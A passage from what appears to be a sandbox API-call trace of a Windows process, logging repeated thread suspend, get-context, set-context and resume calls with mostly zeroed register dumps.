[50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0124.984] ResumeThread (hThread=0x100) returned 0x1 [0124.984] CloseHandle (hObject=0x100) returned 1 [0124.984] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0125.104] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0125.210] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x8c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x27b6f890, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x27b6f890*=0x100) returned 1 [0125.210] SuspendThread (hThread=0x100) returned 0x0 [0125.210] GetThreadContext (in: hThread=0x100, lpContext=0x27b6f8a0 | out: lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00019cb68, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f754880, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0125.211] ResumeThread (hThread=0x100) returned 0x1 [0125.211] CloseHandle (hObject=0x100) returned 1 [0125.211] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0125.337] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0125.466] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x8c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x27b6f890, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x27b6f890*=0x100) returned 1 [0125.466] SuspendThread (hThread=0x100) returned 0x0 [0125.466] GetThreadContext (in: hThread=0x100, lpContext=0x27b6f8a0 | out: lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00019cc50, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13fcfe074, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0125.467] SetThreadContext (hThread=0x100, lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00019cc48, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f74d860, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0125.467] ResumeThread (hThread=0x100) returned 0x1 [0125.467] CloseHandle (hObject=0x100) returned 1 [0125.467] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0125.689] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0125.900] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x8c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x27b6f890, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x27b6f890*=0x100) returned 1 [0125.900] SuspendThread (hThread=0x100) returned 0x0 [0125.900] GetThreadContext (in: hThread=0x100, lpContext=0x27b6f8a0 | out: lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10206, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00019cc38, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13fd0d017, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0125.901] SetThreadContext (hThread=0x100, lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10206, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00019cc30, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f74d860, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, 